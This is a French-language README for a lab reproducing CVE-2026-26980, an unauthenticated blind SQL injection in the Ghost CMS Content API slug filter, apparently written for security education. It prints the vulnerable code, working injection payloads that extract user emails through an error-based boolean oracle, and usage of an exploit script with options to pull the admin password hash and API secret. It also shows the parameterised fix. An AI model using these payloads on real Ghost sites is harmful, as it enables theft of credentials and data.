
CVE-2026-26980 — Laboratoire d'injection SQL de l'API de contenu Ghost CMS (SQLi aveugle non authentifié via le tri du filtre slug)
Injection SQL aveugle non authentifiée dans Ghost CMS via le mécanisme de tri du filtre slug de l'API Content, permettant des lectures arbitraires de la base de données depuis n'importe quelle instance Ghost sans identifiants.
| CVE | CVE-2026-26980 |
| Avis de sécurité | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Critique) |
| CWE | CWE-89 (Injection SQL) |
| Versions affectées | Ghost 3.24.0 -- 6.19.0 |
| Version corrigée | Ghost 6.19.1 |
| Authentification requise | Aucune (la clé de l'API Content est publique par conception) |
| Crédit/Références | Nicholas Carlini avec Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |
Avertissement -- Ce laboratoire est destiné uniquement aux tests de sécurité autorisés, à l'éducation et à la recherche défensive. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
L'API Content de Ghost prend en charge le filtrage des tags et des articles par slug en utilisant la notation de tableau : filter=slug:[tag-a,tag-b]. En interne, une fonction utilitaire construit une instruction ORDER BY CASE pour préserver l'ordre des slugs demandé. Avant la v6.19.1, les valeurs de slug fournies par l'utilisateur étaient interpolées directement dans ce SQL sans paramétrisation :
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNÉRABLE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
La clé de l'API Content est intégrée dans le HTML de chaque site Ghost (data-key="..."), ce qui en fait une surface d'attaque entièrement non authentifiée.
Le langage de requête NQL de Ghost valide les entrées du filtre et rejette les guillemets simples bruts ou les espaces. Cependant, NQL accepte les valeurs entourées de guillemets simples dans la notation de tableau (slug:['valeur']), en transmettant les guillemets comme faisant partie du littéral. L'expression régulière slugFilterOrder extrait ces valeurs et les interpole — guillemets inclus — dans le SQL :
Filtre : slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL transmet les guillemets comme caractères littéraux
Après interpolation, le ORDER BY devient :
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
Dans le mode SQL par défaut de MySQL, || est OR et '' est faux. Cela nous donne un oracle booléen propre :
| Condition | Résultat CASE | Effet |
|---|---|---|
| VRAI | '' OR 0 OR '' = 0 | Réponse normale (HTTP 200) |
| FAUX | '' OR EXP(710) OR '' | Erreur de dépassement DOUBLE (HTTP 500) |
Avec l'oracle établi, l'extraction aveugle standard par recherche binaire s'applique :
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
La syntaxe SUBSTR(... FROM pos FOR len) évite les virgules (que slugFilterOrder utilise comme séparateurs).
| VRAI (1=1) → HTTP 200 | FAUX (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





Le correctif remplace l'interpolation de chaînes par des liaisons paramétrées :
// CORRIGÉ
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
Le plugin crud.js a été mis à jour pour transmettre les liaisons via orderByRaw, et @tryghost/bookshelf-plugins a été mis à niveau vers 0.6.29 qui ajoute la prise en charge des liaisons.
requests# Cloner et entrer dans le laboratoire
git clone <ce-dépôt> && cd ghost-cve-2026-26980
# Installer la dépendance Python
pip install -r requirements.txt
# Démarrer l'instance Ghost vulnérable (6.18.0 + MySQL 8)
docker compose up -d
# Attendre ~45 secondes que Ghost s'initialise, puis exécuter l'exploit
python3 exploit.py --url http://localhost:2368
# Démarrer également le Ghost 6.19.1 corrigé sur le port 2369
docker compose --profile fixed up -d
# Attendre ~45 secondes, puis confirmer que le correctif bloque l'injection
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL URL de Ghost (défaut : http://localhost:2368)
--validate-fix Confirmer que la cible n'est PAS vulnérable
--extract-password Extraire également le hash bcrypt de l'admin
--extract-api-key Extraire également le secret de l'API admin
--content-key KEY Ignorer la configuration, utiliser directement cette clé de l'API Content
-v, --verbose Afficher les résultats de l'oracle par requête
====================================================
CVE-2026-26980 — Injection SQL dans l'API Content de Ghost CMS
====================================================
[*] Attente que Ghost soit prêt sur http://localhost:2368
[*] Configuration de Ghost (admin : [email protected])
[+] Configuration terminée — établissement de la session
[+] Connecté
[+] Clé de l'API Content : ad63c06a71457583ea58f050c1
[+] Slug d'ancrage : news